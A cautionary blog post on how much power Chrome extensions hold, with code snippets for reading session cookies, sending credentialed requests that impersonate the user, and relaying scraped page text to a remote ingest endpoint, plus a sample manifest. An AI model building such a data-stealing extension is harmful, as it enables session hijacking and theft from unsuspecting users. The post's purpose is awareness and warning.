How Easy It Is to Steal Your Data with a Chrome Extension

900k users got their AI conversations stolen by malicious Chrome extensions, according to this article.

You wouldn't believe how easy it is to make an evil Chrome extension. I know it was easy because I built one. Not to scam anyone, of course! I needed to grab a session token from a site I use for work and send it to my API for automating some boring tasks. It took me an afternoon, and I'll show you what kind of power Chrome extensions have. It's pretty wild.

You can read credentials of authorized sites:

const sessionId = chrome.cookies.get({
  url: "https://www.example.com",
  name: "JSESSIONID",
});

/* Do whatever you want with sessionId */

You can make requests as if they emanated from the user, creds are included with a simple fetch call.

CSRF tokens won't do anything to protect you if it's possible to get them (in the cookie for instance), the extension can just inject it in the headers.

const response = await fetch("https://example.com/messaging/", {
  method: "POST",
  credentials: "include",  // important
  headers: {
    "Content-Type": "application/json",
    "csrf-token": token,  // if needed
    // Other headers are automatically included
  },
  body: JSON.stringify({
    action: "send_dm",
    recipient: "Alice-42",
    message: "Alice, I love you. Bob.",
  }),
});

Content scripts running in page context are still sandboxed. But they can relay data to background.js, which has no such restrictions:

const content = document.querySelector("#target-element").innerText;

/* Send the content to a remote server */

chrome.runtime.sendMessage({
  action: "send_data",
  content: content,
});

background.js side:

chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
  if (request.action === "send_data") {
    /* Do whatever you want, including calling your endpoint */
    fetch("https://example.com/my-api/ingest", {
      method: "POST",
      headers: {
        "Content-Type": "application/x-www-form-urlencoded",
      },
      credentials: "include",
      body: /* something with content */,
    })
    .then(...)
  }
});

That's basically the pattern I used for my (legit) use-case. Grab some text when visiting a specific page (on which I'm logged in), and send the text to a remote API I built. The remote API doesn't use an API key, it uses regular cookie-based sessions. But since I'm logged in, Chrome can read and send the creds "behind my back", without me even visiting it.

That's it. No exploit. No vulnerability. No clever hack. Just standard Chrome extension APIs with the right permissions in the manifest.json file:

{
  "name": "My Extension",
  "manifest_version": 3,
  "version": "0.1",
  "permissions": [
    "cookies"
  ],
  "host_permissions": [
    "https://target.example.com/*",
    "https://my-api.example.com/*"
  ],
  "background": {
    // this will send scraped data/info to my-api
    "service_worker": "background.js"
  },
  "content_scripts": [
    {
      "matches": ["https://target.example.com/*"],
      // this will scrap page and send data to background.js,
      // can also make calls that impersonate you.
      "js": ["content.js"] 
    }
  ]
}

I'm not an expert on Chrome extensions. I built one once to automate some of my work, and I was amazed by how much power they have.

From what I can tell, the Chrome Web Store doesn't expose the manifest.json to users before installation. You only see the extension's name, description, a simplified permissions summary, and reviews. The actual manifest is only accessible after installation, buried in Chrome's local files.

You're trusting the store's review process and the permission prompts, both of which are clearly insufficient given the 900k users who got their data stolen.

So next time you're about to install an extension, be careful.